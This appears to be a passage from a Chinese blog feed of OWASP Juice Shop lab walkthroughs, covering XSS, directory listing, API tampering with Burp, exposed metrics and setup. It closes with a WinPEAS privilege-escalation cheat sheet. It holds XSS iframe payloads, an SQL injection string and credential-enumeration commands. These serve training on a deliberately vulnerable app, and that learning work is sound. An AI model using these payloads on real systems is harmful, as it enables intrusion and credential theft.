bind 数组中的值被视为纯数据，不被解析为 SQL 语法
即使输入 ' OR true--，也只被当作字符串值处理
SQL 注入被彻底阻止

【juice-shop】★★ Sensitive Data Exposure：敏感数据泄露

Fri, 03 Apr 2026 12:00:00 +0000

【juice-shop】★ Sensitive Data Exposure：敏感数据泄露

0x01 任务简报

💡 核心线索 (Hints)

请查看开发者控制台中的客户端代码。

0x02 实战：复现漏洞

🔎 第一步：打开开发工具

打开浏览器开发工具（F12 或右键 → 检查）。

注意： 如果和我一样使用分离的 DevTools，可能不会触发引导的下一步。可以合并回浏览器再分离出来。

📄 第二步：查看源代码

转到 Sources（源代码）标签，检查 main.js 文件。这是所有客户端代码所在的位置。

🔍 第三步：搜索凭据相关词汇

在 main.js 中搜索与凭证相关的常见词汇，例如：

password
pw
username

找到硬编码的凭据信息。

🔑 第四步：使用凭据登录

前往登录页面，在电子邮件字段中输入找到的电子邮件地址。

点击登录按钮。

✅ 第五步：完成挑战

使用暴露的凭据成功登录系统，挑战完成。

我觉得这个难度应该放到1星……

【juice-shop】★ Outdated Allowlist：过期的加密货币地址

Thu, 02 Apr 2026 14:03:00 +0000

【juice-shop】★ Outdated Allowlist：过期的加密货币地址

0x01 任务简报

💡 提示 (Hints)

在从代码中移除对这些地址的引用时，开发人员有些马虎。

更具体地说，他们的代码存在严重疏漏，甚至连 Angular 编译器都无法自动清理这些问题。

当然，仅直接访问任何加密货币链接并不足以解决该挑战。

0x02 实战：复现漏洞

🔎 第一步：定位重定向端点

根据题目线索"重定向（redirect）"，需要在 main.js 中寻找相关代码。打开浏览器开发者工具，在 Sources 标签页找到 main.js 文件。

🔍 第二步：搜索并筛选

将 main.js 格式化后，使用搜索功能：

首次搜索：搜索 redirect
- 结果：18 个匹配
- 问题：大多数结果不相关
精确搜索：搜索 /redirect?to
- 结果：8 个匹配
- 效果：范围大幅缩小，找到了真正的重定向端点

✅ 第三步：逐一尝试并完成挑战

逐个尝试搜索结果中的加密货币地址链接，最终找到有效的过期地址：

`1`	`http://127.0.0.1:3000//redirect?to=https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm`

访问该链接即可完成挑战。

0x03 参考资料

【juice-shop】★ Web3 Sandbox：智能合约沙盒

Thu, 02 Apr 2026 00:00:00 +0000

【juice-shop】★ Web3 Sandbox：智能合约沙盒

0x01 任务简报

💡 核心线索 (Hints)

它与找到计分板一样容易。

0x02 实战：复现漏洞

🔎 第一步：初始搜索

根据提示"与找到计分板一样容易"，采用相同的方法在 main.js 中搜索 score-board。

搜索结果：61 个匹配

逐个查找这些结果，但没有直接找到沙盒相关的内容。

💡 第二步：转换思路

在查看 score-board 搜索结果时，注意到第 8 个结果中包含一个 path 属性，这可能是一个关键线索。

🔍 第三步：精确搜索

以 path 作为新的搜索关键词：

首次搜索：搜索 path
- 结果：130 个匹配
- 问题：结果过多，需要进一步筛选
精确搜索：搜索 path:（添加英文分号）
- 结果：48 个匹配
- 效果：范围大幅缩小

✅ 第四步：完成挑战

逐个查找 path: 的搜索结果，发现了智能合约沙盒的路由配置，访问该路径即可完成挑战。

【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击

Thu, 02 Apr 2026 00:00:00 +0000

【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击

0x01 任务简报

💡 核心线索 (Hints)
1. 查找一个 URL 参数，它的值出现在它指向的页面中。
2. 尝试通过提交用 HTML 标签包裹的文本（在屏幕上容易被发现，例如 <h1> 或 <strike>）来探测跨站脚本漏洞。
3. 有效负载：<iframe src="javascript:alert('xss')">

0x02 实战：复现漏洞

这篇的引导非常完整，我们就从引导来完成这个挑战。

🔑 前置条件：登录账户

需要登录才能进行挑战，随便注册登录一下，继续。

📍 第一步：进入保存的地址

点击导航栏中的"账户" → “订单和支付” → “我的保存地址”。

🧪 第二步：尝试地址页面的 XSS

添加一个新地址，使用 <iframe src="javascript:alert(xss)"> 作为城市名称提交。

值得学习的思路：我们应该怀疑任何一个可以输入的地方。

然而，这里并没有触发 XSS，地址页面不存在该漏洞，需要换一个方向。

🛒 第三步：下单

将任意商品添加到购物车，完成购买流程：

添加购物车 → 结账 → 选择地址 → 选择送货速度 → 选择付款方式（信用卡或借记卡，随便填写卡信息）→ 下单并支付。

🔍 第四步：查看追踪订单页面

进入"追踪订单"页面，观察 URL 中的 id 参数。

注意到 URL 中的 id 参数值与页面上显示的订单号是一样的，这里可能存在相同的前端代码片段。

💉 第五步：注入有效负载

将 URL 中 id 参数的值替换为 XSS 有效负载：

`1`	<iframe src="javascript:alert(`xss`)">

✅ 第六步：完成挑战

按下回车后可能没有立即反应，此时只需 F5 刷新一下即可触发，警告框弹出后确认关闭，挑战完成。

【juice-shop】★ Confidential Document：机密文件泄露

Wed, 01 Apr 2026 21:00:00 +0000

【juice-shop】★ Confidential Document：机密文件泄露

0x01 任务简报

💡 提示 (Hints)

分析和篡改应用程序中直接传递文件的链接。

您正在查找的文件没有任何保护措施。一旦找到它，您也可以访问它。

0x02 实战：复现漏洞

🔎 发现入口

在网站的 http://localhost:3000/#/about 页面中，发现了一个文件链接：

`1`	`http://localhost:3000/ftp/legal.md`

注意到 URL 中包含 /ftp/ 子目录，这暗示可能存在目录遍历漏洞。

🚪 目录列表漏洞

尝试删除文件名，直接访问目录：

`1`	`http://localhost:3000/ftp/`

惊人的发现：服务器启用了目录列表功能，直接显示了 /ftp/ 目录下的所有文件！

✅ 完成挑战

逐个访问或下载目录中的所有文件，即可找到机密文件并完成挑战。

0x03 源码审计：编码挑战

🔍 找到它 (Find It)

漏洞位于第 2、3、4 行：/ftp 路由直接使用 express.static() 提供静态文件服务，且未禁用目录列表，导致攻击者可以：

浏览目录内容
下载任意文件
发现敏感信息

🛠️ 修复它 (Fix It)

选项	修复方式	安全评价	结论
Fix 1	删除单个文件的路由	❌ 仍允许目录列表，攻击者可枚举所有文件	不完整
Fix 2	完全删除 `/ftp` 文件夹	✅ 彻底消除漏洞，合法内容迁移到安全位置	真·修复
Fix 3	删除单个文件的路由	❌ 同 Fix 1，目录列表仍存在	不完整
Fix 4	仅禁用目录列表	⚠️ 阻止了目录浏览，但若攻击者知道文件名仍可下载	防守不足

Fix 2 才是正确答案的原因：

// ❌ 漏洞代码
app.use('/ftp', express.static('ftp'));  // 启用目录列表 + 文件下载

// ✅ 修复代码
// 1. 删除 /ftp 目录
// 2. 将合法的静态文件（如订单 PDF）移到受保护的位置
// 3. 实现访问控制（仅授权用户可下载）

三个选项的防护强度排序：

`1`	`Fix 2（完全删除）> Fix 4（禁用列表）> Fix 1/3（删除路由）> 无防护（原始漏洞）`

关键洞察：

仅禁用目录列表（Fix 4）是"安全假象"——攻击者可通过字典攻击或其他方式猜测文件名
完全删除不必要的目录（Fix 2）是最彻底的解决方案
合法的文件（如订单 PDF）应该放在受鉴权保护的端点，而不是公开目录

【juice-shop】★ Security Policy：安全政策披露

Wed, 01 Apr 2026 17:40:00 +0000

【juice-shop】★ Security Policy：安全政策披露

0x01 任务简报

💡 核心线索 (Hints)

本次挑战要求你扮演一名道德黑客。

毫无疑问，在对应用程序进行任何研究之前，您都希望阅读安全政策。

作为正派人士，你会在未经应用程序所有者同意的情况下贸然发起攻击吗？

您可能还想阅读现行的安全政策或漏洞悬赏计划。

0x02 实战：复现漏洞

…… 这个我没看解答真做不出来( ╯□╰ )

根据提示，需要查找网站的安全政策文件。类似于 robots.txt 的作用，security.txt 是一个标准化的文件，用于告诉白帽黑客如何向网站所有者报告漏洞。

按照 RFC 9116 标准，该文件应位于以下路径：

`1`	`http://127.0.0.1:3000/.well-known/security.txt`

访问该路径即可获得网站的安全政策信息，完成挑战。

0x03 知识扩展

📚 security.txt 与 robots.txt 的区别

文件名	目的	受众	标准文档
`robots.txt`	指导搜索引擎爬虫抓取策略	搜索引擎爬虫	事实标准
`security.txt`	指导白帽黑客漏洞报告流程	安全研究人员	RFC 9116

🔍 关键认知

security.txt 遵循 RFC 9116 标准（2022 年 4 月发布）
文件必须放在 /.well-known/security.txt 路径下
白帽黑客应在未经授权前，先查阅此文件了解报告流程
这体现了"负责任披露"的安全文化

0x04 参考资料

【juice-shop】★ Mass Dispel：通知清理大师

Tue, 31 Mar 2026 20:00:00 +0000

【juice-shop】★ Mass Dispel：通知清理大师

当你一口气解开多个谜题时，满屏的“挑战已解决”通知可能会让你分心。这个挑战考察的是你对 UI 交互细节的观察力，以及寻找文档隐藏功能的能力。

0x00 前置要求 (Prerequisites)

重启服务：由于通知在弹出后会自动消失，此挑战在服务器重启后最易解决（此时所有已解挑战会重新推送到前端）。

0x01 任务简报

💡 核心线索 (Hints)

线索来源：要么查阅官方配套文档，要么直接检查通知的 UI 元素。

最佳时机：此问题在服务器重启后，大量通知重推时最易解决。

便捷功能：仔细检查浏览器中任何“挑战已解决”通知的交互逻辑，寻找其快捷操作。

🎓 实战动作 (Action)
• 目标：一次性关闭多个“挑战已解决”的通知。 • 操作：在任意一个通知卡片上，按住 Shift 键的同时点击鼠标左键。

0x02 实战：复现过程

1. 环境准备 重启 Juice Shop 服务。当你重新进入页面时，之前解决的所有挑战通知会像瀑布一样弹出来。

2. 执行快捷关闭

<按S-chick>（Shift+鼠标左键），完成！

【juice-shop】★ Bully Chatbot：对付机器人的“复读机”战术

Tue, 31 Mar 2026 16:45:00 +0000

【juice-shop】★ Bully Chatbot：对付机器人的“复读机”战术

如果一个机器人拒绝了你的请求，那可能只是因为它还没被你问烦。在安全领域，这种针对逻辑限制的反复尝试有时能产生意想不到的效果。

0x00 前置要求 (Prerequisites)

身份认证：必须先执行 Login（登录），否则对话框不会响应你的任何消息。

0x01 任务简报

💡 核心线索 (Hints)

软硬不吃：机器人现在正编造各种借口拒绝给你优惠券。

暴力沟通：像小孩子一样反复询问，在这种情况下反而可能助你成功。

坚持到底：不，说真的，继续问就是了。

🎓 实战动作 (Action)
• 操作：打开侧边栏的客服聊天机器人。 • 触发词：向机器人发送关键字 coupon（注意必须使用英文）。 • 频率：不要停，一直发送，直到它妥协为止。

0x02 实战：复现过程

1. 建立会话 首先需要确保处于登录状态，点击侧边栏进入机器人对话界面。

2. 发起询问 对机器人发送关键字 coupon。起初它会以各种理由拒绝你。

3. 复读机攻势 一直不停地发送 coupon。虽然可以使用 Burp Suite 的 Intruder 模块进行自动化爆破，但因为触发阈值并不高，手动狂按回车也能快速完成。

4. 拿到奖励 在你的坚持不懈下，机器人最终会给出优惠券代码。

💡 极简总结 (Scan-Friendly)

目标：客服机器人 Chatbot。
手段：关键词重复轰炸（Repeat Request）。
漏洞本质：后端逻辑限流/计数器缺失。机器人可能设置了“被询问 X 次后解锁回复”的简单逻辑，而没有针对单一会话的频率限制。

【juice-shop】★ Privacy Policy：最简单的“阅读理解”

Tue, 31 Mar 2026 16:00:00 +0000

【juice-shop】★ Privacy Policy：最简单的“阅读理解”

这大概是整个靶场里最像“冷笑话”的一个挑战。在充满漏洞的世界里，有时候最难的关卡竟然是让你静下心来读完一段文字。

0x01 任务简报

💡 核心线索 (Hints)

真诚建议：我们甚至不会要求你确认你已经读过，请真的读一下吧。

顺便解决：在使用应用程序的过程中，你很可能会无意间解决这个难题。

爬虫友好：任何自动爬虫或蜘蛛工具都可能帮你直接触发这个挑战。

大实话：这里并没有真正的黑客行为。

🎓 实战引导 (Walkthrough)
• 操作：确保你已登录，然后打开 Account（账户） 菜单。
• 路径：进入 Privacy & Security（隐私与安全） 子菜单，点击 Privacy Policy（隐私政策）。
• 真相：这个挑战其实是个玩笑，因为在互联网时代，真的没人会去看那些小字说明……🙈

0x02 实战：复现过程

1. 寻找入口 根据引导，在账户设置中找到隐私政策的链接。

2. 执行动作 没什么可说的，直接点击并查看即可。

3. 挑战达成 当你打开页面的一瞬间，计分板就会叮的一声提示挑战成功。

💡 极简总结 (Scan-Friendly)

目标：/privacy-policy 页面。
手段：鼠标左键单击。
反思：有时候，最简单的安全合规就是知情权，虽然我们总是习惯性地点击“同意”。

【juice-shop】★★ Empty User Registration：注册一个“隐形人”

Mon, 30 Mar 2026 22:00:00 +0000

【juice-shop】★★ Empty User Registration：注册一个“隐形人”

如何创建一个“不存在”的用户？当前端的必填项校验很严格时，直接去跟后端的 API 聊聊是个好主意。

0x00 前置要求 (Prerequisites)

推荐关卡：建议先完成 Repetitive Registration（非强制，但有助于理解注册逻辑）。
核心武器：启动 Burp Suite。

0x01 任务简报

💡 核心线索 (Hints)

考虑拦截请求并修改内容。
（底层逻辑：前端表单的必填项限制防君子不防黑客，我们需要绕过前端，直接向 API 喂“空数据”。）

🎓 实战动作 (Action)
• 抓包：打开 Burp 进行监听，使用 Burp 浏览器访问网页。
• 注册：正常填写表单，抓取合法的注册请求包。
• 篡改：将包发送到重放器 (Repeater)，清空关键字段的值，强行发包。

0x02 实战：复现漏洞

1. 制造合法请求 打开用户注册界面，先随便输入一些合法数据进行一次正常注册。 这里邮箱填了 2@2.com，用户名和密码都是 5 个 1（随便写就行）。

2. 拦截与重放 (Repeater) 完成注册之后，在 Burp 中找到刚才的注册用户包和对应的 API。动作：将这个请求包直接发送到 重放器 (Repeater)。

3. 篡改与触发陷阱 在 Repeater 中定位到提交的 JSON 数据部分：

将 email 和 password 改为 空字符 ""。
顺手把前端用来多余校验的 passwordRepeat 给删了。

点击 Send 发送请求。后端 API 没有进行二次校验，直接入库，成功注册！

💡 极简总结 (Scan-Friendly)

目标：注册接口 API。
手段：Burp 拦截，字段留空 ""。
漏洞本质：后端过度信任前端，缺乏数据完整性校验。

【juice-shop】★ Zero Stars：给出零星好评

Mon, 30 Mar 2026 20:50:00 +0000

【juice-shop】★ Zero Stars：给出零星好评

0x01 任务简报

💡 核心线索 (Hints)

在尝试绕过 API 之前，不妨先试试 UI 本身能不能直接操作。

🎓 实战动作 (Action)
• 目标：提交一条评分为 0 星的反馈。
• 工具：Burp Suite（Repeater 重放器）。
• 思路：前端星级控件限制最低 1 星，但后端 API 不做范围校验。

0x02 实战：复现漏洞

1. 打开客户反馈界面

进入客户反馈页面，可以匿名提交——UI 上星级控件最低只能选 1 星：

2. 先正常提交一次，抓包

随便填写内容，提交一次反馈，在 Burp 中观察请求。调用的是 /api/Feedbacks/，请求体结构很简单：

3. 发送到 Repeater，篡改 rating

将请求发到 Repeater，把 rating 的值从 1 改成 0，发送：

4. 0 星提交成功

服务器返回 201 Created，0 星反馈成功写入——后端对 rating 的值没有做任何范围校验：

结论：星级范围限制（最低 1 星）只存在于前端控件，后端 API 对 rating 字段的值照单全收。只要绕过 UI 直接构造请求，任意数值都可以提交。

0x03 参考资料

📖 OWASP：客户端安全控制不可信赖

【juice-shop】★ Repetitive Registration：多余的重复密码

Mon, 30 Mar 2026 16:45:00 +0000

【juice-shop】★ Repetitive Registration：多余的重复密码

0x01 任务简报

💡 核心线索 (Hints)

可以通过巧妙操作 UI，或者完全绕过 UI 来解决。

注册表单里最明显的重复项，就是“重复密码"字段。

试试在"重复密码"字段里填入空值或不同的值提交注册。

🎓 实战动作 (Action)
• 目标：绕过"重复密码"校验，完成注册。
• 工具：Burp Suite（代理拦截 + Repeater 重放器）。
• 思路：校验逻辑只在前端，后端根本不在乎这个字段存不存在。

0x02 实战：复现漏洞

1. 抓包

开启 Burp 监听，用 Burp 内置浏览器打开注册页面，填写信息后提交，抓到注册请求：

2. 发送到 Repeater，删掉 passwordRepeat 字段

将请求发送到 Repeater，在请求体中找到 passwordRepeat 这一行，直接删掉，然后发送：

3. 注册成功

服务器返回 201 Created，注册成功——后端对这个字段的存在与否毫不在意：

结论：“重复密码"的一致性校验完全由前端 JavaScript 完成，后端 API 从未验证两次密码是否匹配，甚至不要求该字段存在。这个字段对服务器来说是透明的——留着它，纯粹是做个样子。

0x03 参考资料

📖 Pwning OWASP Juice Shop Pt.14 - Repetitive Registration

【juice-shop】★ Missing Encoding：消失的图片

Mon, 30 Mar 2026 15:30:00 +0000

【juice-shop】★ Missing Encoding：消失的图片

0x01 任务简报

💡 核心线索 (Hints)

在照片墙中找一张无法正常加载的图片。

你只需（字面意义上）检查问题就能看出症结所在。

试着点击该条目的推文按钮，观察一下效果。

🎓 实战动作 (Action)
• 目标：照片墙里那张加载失败的图片。
• 工具：浏览器开发者工具（F12）。
• 操作：找到图片的真实 URL，手动修复特殊字符后直接访问。

0x02 实战：复现漏洞

1. 发现异常

打开照片墙，发现一个图片位置空白，没有加载出来：

2. 检查病灶

打开开发者工具，查看该图片的 src 地址，问题一目了然——URL 没有做任何转义：

3. 分析原因

原始图片链接是：

`1`	`http://127.0.0.1:3000/assets/public/images/uploads/ᓚᘏᗢ-#zatschi-#whoneedsfourlegs-1572600969477.jpg`

关键知识点：# 在 URL 中是锚点符号（fragment identifier），浏览器遇到第一个 # 就会截断，后面的内容根本不会发送给服务器。

所以服务器实际收到的请求只有：

`1`	`http://127.0.0.1:3000/assets/public/images/uploads/ᓚᘏᗢ-`

文件名后半段全部丢失，自然找不到图片。

4. 修复并验证

将 # 替换为其 URL 编码形式 %23，手动访问修复后的地址：

`1`	`http://127.0.0.1:3000/assets/public/images/uploads/ᓚᘏᗢ-%23zatschi-%23whoneedsfourlegs-1572600969477.jpg`

图片成功加载，挑战完成 ✓

0x03 知识延伸

为什么叫"Missing Encoding"？

这类漏洞的根源是：程序在把用户数据（文件名、输入内容等）拼接进 URL 时，忘记对特殊字符进行编码。常见的危险字符包括：

字符	URL 编码	含义
`#`	`%23`	锚点，浏览器截断标志
`?`	`%3F`	查询参数开始
`&`	`%26`	参数分隔符
`空格`	`%20` 或 `+`	空格

在代码里怎么正确处理？

// 只编码文件名部分，不要对整个 URL 编码
const filename = 'ᓚᘏᗢ-#zatschi-#whoneedsfourlegs-1572600969477.jpg'
const safeUrl = '/assets/public/images/uploads/' + encodeURIComponent(filename)
// 结果：/assets/public/images/uploads/%E1%93%9A%E1%98%8F%E1%97%A2-%23zatschi-%23whoneedsfourlegs-1572600969477.jpg

0x04 参考资料

📖 MDN：encodeURIComponent()
📖 OWASP：URL 编码防御手册

【juice-shop】★ Exposed Metrics：暴露的监控指标

Mon, 30 Mar 2026 12:02:00 +0000

【juice-shop】★ Exposed Metrics：暴露的监控指标

0x01 任务简报

💡 核心线索 (Hints)

尝试猜测后端可能使用什么 URL。

果汁店将指标数据发布在 Prometheus 预期的默认路径上。

猜测路径的速度，可能和查阅 Prometheus 官方文档一样快。

0x02 实战：复现漏洞

根据提示，线索指向 Prometheus 文档。快速翻阅文档后，找到了 Prometheus 暴露指标的默认路径，直接访问：

`1`	`http://127.0.0.1:3000/metrics`

页面成功返回了大量监控数据，漏洞确认。

0x03 源码审计：编码挑战

🔍 找到它 (Find It)

漏洞位于第 4 行：/metrics 路由没有任何鉴权中间件，所有人（包括未登录用户）均可直接访问。

🛠️ 修复它 (Fix It)

选项	处理方式	安全评价	结论
Fix 1	`security.denyAll()`	❌ 彻底封死，管理员也无法访问，功能被破坏	矫枉过正
Fix 2	`security.isAdmin()`	✅ 只有管理员可访问，功能保留，权限收紧	真·修复
Fix 3	`metrics.serveMetrics()`	❌ 端点还在，数据只是停止更新，漏洞依然存在	钝角（啥都没干）

Fix 2 才是正确答案的原因：安全修复的目标是"让正确的人能访问，让不该访问的人无法访问"，而不是把功能一刀切掉。denyAll 是懒惰式修复——它确实消除了漏洞，但同时也把合理的需求一起毁掉了，实际工程中不可接受。

三个选项的防护强度排序：denyAll > isAdmin > 无防护（原始漏洞）。

0x04 参考资料

📖 Prometheus 官方文档 - First Steps

【juice-shop】★ Bonus Payload：漏洞的声音

Sun, 29 Mar 2026 05:36:00 +0000

【juice-shop】★ Bonus Payload：漏洞的声音

这是 DOM XSS 挑战的一个趣味“番外篇”。如果你已经搞定了基础的弹窗挑战，这一关会让你听到漏洞的声音。

0x00 前置要求 (Prerequisites)

在开始本关之前，请确保你已经准备就绪：

【juice-shop】★ DOM XSS：已掌握搜索框回显的基本原理。
运行环境：确认 Juice Shop 容器处于运行状态。
网络状态：Payload 引用了外部资源，需开启科学上网才能加载音频流。

0x01 任务背景

💡 挑战提示 (Hints)

确保你已经解决了 “执行 DOM XSS 攻击” 挑战。

将新的 Payload 复制粘贴到 相同的 易受攻击字段中。

⚠️ 提交前请调大电脑音量！🔊

0x02 实战引导

🎓 操作指南 (Walkthrough)
• 本关只是在搜索栏换个更有趣的 Payload。
• 动作：将下方的代码填入搜索框。
• 注意：确认扬声器音量已拉满，然后按下 Enter。

0x03 准备武器 (Payload)

这是从计分板直接复制的“音乐注入”代码，它利用 <iframe> 加载了一个带自动播放功能的 SoundCloud 播放器：

<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>

0x04 漏洞复现

和之前的 DOM XSS 操作完全一致。在搜索框中粘贴 Payload 并执行：

注入成功后，页面会嵌入播放器并自动播放音频：

0x05 为什么这能成功？

原理一致：依然是利用了之前发现的 DOM XSS 漏洞点。
不只是弹窗：XSS 的威力远超 alert()。通过注入 <iframe>，攻击者可以强行在用户浏览器里加载任何第三方内容，如自动播放的音频、钓鱼表单或恶意广告。
关键属性：注意代码中的 allow="autoplay"，这是绕过浏览器策略、让注入内容自动发出声音的关键权限。

0x06 编码挑战 (Coding Challenge)

🔍 找到它 (Find It)

漏洞依然在 第 6 行：

🛠️ 修复它 (Fix It)

原理回顾：由于这里直接使用了 bypassSecurityTrustHtml，导致 Angular 信任并渲染了恶意的 <iframe> 标签。修复方案与 DOM XSS 篇一致：删除该函数，让 Angular 默认执行转义处理。

💡 极简总结 (Scan-Friendly)

目标：老位置（搜索框）。
手段：粘贴复杂的 <iframe> 代码。
效果：回车，让漏洞“唱”起来。

【juice-shop】★ DOM XSS：搜索框里的“魔法”

Sat, 28 Mar 2026 05:36:00 +0000

【juice-shop】★ DOM XSS：搜索框里的“魔法”

0x01 任务简报

💡 核心线索 (Hints)

找回显：寻找一个输入后内容会直接跳进 HTML 的字段。

看本质：别被表面迷惑，重点在于程序如何处理你的输入。

🎓 实战动作 (Action)
• 目标：屏幕顶部的 Search field（搜索栏）。
• 预热：尝试搜索 owasp 并回车。
• 变招：尝试注入 HTML/JS 代码进行 XSS 攻击。

0x02 实战：复现漏洞

1. 准备武器 (Payload) 从计分板直接复制这行“弹窗指令”备用：

`1`	<iframe src="javascript:alert(`xss`)">

2. 寻找靶心 根据提示，目标就在这里：

3. 触发陷阱 将 Payload 填入搜索框 -> 回车 -> Boom! 弹窗出现，漏洞确认。

0x03 源码审计：编码挑战

🔍 找到它 (Find It)

漏洞位于 第 6 行：

🛠️ 修复它 (Fix It)

面对四个选项，为什么选 Fix 2？

选项	处理方式	安全评价	结论
Fix 1	`trustScript`	❌ 依然执行 JS	换个姿势被黑
Fix 2	直接赋值	✅ Angular 自动编码	真·修复
Fix 3	`trustResourceUrl`	❌ 依然加载恶意链接	掩耳盗铃
Fix 4	`trustStyle`	❌ 可能导致 CSS 注入	治标不治本

0x04 参考资料

📖 OWASP: DOM based XSS 防御手册

【juice-shop】★ 开篇：消失的计分板

Sat, 28 Mar 2026 05:36:00 +0000

【juice-shop】★ 开篇：消失的计分板

启动服务，进入战场：http://127.0.0.1:3000

0x01 任务目标：找到“成绩单”

🎓系统任务简报
1. 核心机制：应用遍布漏洞，你的所有“战绩”都会记录在 Score Board（计分板）。

2. 隐藏关卡：导航栏里找不到它，找到计分板本身就是第一个挑战。

3. 破局工具：按下 F12，线索藏在 JavaScript 代码里。

0x02 实战：顺藤摸瓜

1. 定位导航逻辑

由于侧边栏通常由前端路由控制，我们先从已知的导航项入手。

操作：F12 选中侧边栏元素，观察已知的链接。
线索：发现路由 /contact。

2. 深入 JS 审计

在调试器 (Debugger) 中全局搜索 /contact，我们锁定了两个关键文件：

hacking-instructor-xxx.js
main.js（重点！这是前端逻辑的核心）

3. 关键词爆破：`routerLink`

在 main.js 中搜索 Angular 的路由指令 routerLink。

现状：搜到 61 个结果。
笨办法：一个个拼接到 URL 后面测试（如 /#/about）。
终点：最终锁定 /#/score-board。

🏆 挑战达成！

`1`	`http://127.0.0.1:3000/#/score-board`

0x03 代码审计：它是怎么“藏”的？

🔍 找到它 (Find It)

在源码 第 114 行，我们发现了这个路由的明文定义：

🛠️ 修复它 (Fix It)

面对三个修复方案，为什么选 Fix 2？

选项	修复方式	评价	结论
Fix 1	直接删除路由	❌ 功能被阉割	过于暴力
Fix 2	Base64 编码路径	✅ 增加搜寻成本	本关正解
Fix 3	直接显示路由	❌ 放弃抵抗	毫无安全性可言

底层逻辑：Fix 2 使用了 atob('c2NvcmuUtYm9hcmQ=')。虽然这只是**混淆（Obfuscation）**而非加密，但它成功让 score-board 躲过了简单的“全文搜索”，强迫黑客必须理解代码逻辑才能找到路径。

0x04 总结

作为安全研究的第一步，信息收集 (Recon) 永远是核心。计分板的隐藏告诉我们：不要只看页面上有什么，要看代码里写了什么。

【juice-shop】开始之前部署

Sat, 28 Mar 2026 05:36:00 +0000

OWASP Juice Shop 部署

OWASP Juice Shop 是一个“漏洞靶场”电商网站，技术栈主要是 Node.js + Angular + SQL/NoSQL。

以下内容默认在 Kali 中执行

源码部署（长期使用推荐）

环境要求

Node.js：20 - 24
Git：用于拉取源码

部署步骤

1
2

git clone https://github.com/juice-shop/juice-shop.git --depth 1
cd juice-shop

`1`	`npm install`

`1`	`npm start`

说明

git clone --depth 1：只拉取最新提交，速度更快
npm install：安装依赖
npm start：启动服务

访问地址

启动后默认访问：

`1`	`http://127.0.0.1:3000`

Docker 部署（快速使用推荐）

环境要求

Docker

部署命令

`1`	`docker run --rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop`

说明

--rm：容器退出后自动删除
-p 127.0.0.1:3000:3000：仅本机可访问，映射到本地 3000 端口

访问地址

`1`	`http://127.0.0.1:3000`

部署方式对比

源码部署
  ├── 适合：需要查看/修改代码
  ├── 优点：可控性高
  └── 缺点：依赖安装较多

Docker 部署
  ├── 适合：快速启动
  ├── 优点：简单、省事
  └── 缺点：不方便改源码

常见检查项

源码部署前确认

1
2
3

node -v
npm -v
git --version

Docker 部署前确认

1
2

docker --version
docker ps

参考

Juice Shop GitHub

WinPEAS 使用

Sat, 21 Mar 2026 18:58:33 +0800

[笔记] WinPEAS 使用指南

Windows 提权全自动“体检”工具
见红必看，见绿换路

[COLORS] 文字颜色（最重要！）

不需要读文字，盯着颜色看：

颜色	内容
红色 (RED)	表示对某个对象具有特殊权限或某些内容配置错误（渗透者有利）
绿色 (GREEN)	表示某些保护已启用或某些内容配置良好（防守者有利）
青色 (CYAN)	表示活跃用户
蓝色 (BLUE)	表示禁用用户
浅黄 (LIGHT YELLOW)	浅黄色表示链接

[CMD] 常用“一句话”命令

# 快速体检 (最常用)

`1`	`./winPEASx64.exe`

# 静默体检 (跳过 Banner 动画)

`1`	`./winPEASx64.exe quiet`

# 后台记录 (屏幕同步显示，推荐)

`1`	`./winPEASx64.exe log=out.txt`

# 重定向输出 (屏幕静默)

`1`	`./winPEASx64.exe > out.txt`

# 无色模式 (解决乱码/老旧终端)

`1`	`./winPEASx64.exe notcolor`

[POSITION] 工具定位与工作流

# 渗透测试阶段逻辑 (ASCII)

[ 1. 初始突破 ] --> [ 2. 获得低权限 Shell ] --> [ 3. 运行 WinPEAS ]
                                                       |
        +----------------------------------------------+
        |
        v
[ 4. 信息枚举 (Enumeration) ] 
  - 系统配置 / 补丁补丁
  - 服务与计划任务 (可写路径?)
  - 凭据发现 (密码/哈希)
        |
        v
[ 5. 提权验证 (PrivEsc) ] --> [ 6. 获得 System/Admin ]

[HELP] 参数

> .winPEASx64.exe -h

  [*] WinPEAS 是一个二进制文件，用于枚举本地升级权限的可能路径。默认情况下，除非另有说明，否则它将运行以下所有检查，
但如果您只想运行其中的一些检查，您也可以将要运行的检查的名称指定为参数。
        domain               枚举域信息
        systeminfo           搜索系统信息
        eventsinfo           显示对渗透测试者来说有趣的内容
        userinfo             搜索用户信息
        processinfo          搜索进程信息
        servicesinfo         搜索服务信息
        applicationsinfo     搜索已安装应用程序信息
        networkinfo          搜索网络信息
        networkscan          仅运行 -network 扫描（不执行其他 NetworkInfo 子检查）
        activedirectoryinfo   快速 AD 检查（可读取的 gMSA 密码、AD CS 模板权限）
        cloudinfo            枚举云信息
        windowscreds         搜索 Windows 凭据
        registryinfo         标记可写入的 HKLM/HKU 键，这些键可能导致注册表配置单元被篡改
        browserinfo          搜索浏览器信息
        filesinfo            搜索可能包含凭据的通用文件
        fileanalysis         [默认不运行] 搜索可能包含凭据的特定文件，并在文件中进行正则表达式匹配。可能需要几分钟时间。
        all                  运行所有检查，包括之前的文件分析检查。

        quiet                不显示横幅
        notcolor             不使用 ANSI 颜色（全部显示为白色）
        mitre=T1082,T1548   仅运行与指定 MITRE ATT&CK 匹配的检查
        
技术 ID（以逗号分隔）
        searchpf             通过正则表达式在 Program Files 目录中搜索凭据
        wait                 在检查之间等待用户输入
        debug                显示调试信息 - 内存使用情况、方法执行时间
        dont-check-hostname  不对外部检查主机名
        log[=logfile]        将所有输出记录到指定的日志文件，若未指定则记录到 "out.txt"
        max-regex-file-size=1000000        搜索正则表达式的最大文件大小（以字节为单位）。默认值：1000000B

		附加检查（较慢）：
        -lolbas              运行额外的 LOLBAS 检查
        -linpeas=[url]       运行额外的 linpeas.sh 检查以获取默认 WSL 发行版，可选择提供自定义 linpeas.sh URL
                             （默认：https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh）
        -network|-ports      运行额外的网络扫描 - 查找网络接口和主机，并对发现的每个主机扫描 nmap 前 1000 个 TCP 端口
                             -network="auto"                          -    自动查找接口/主机
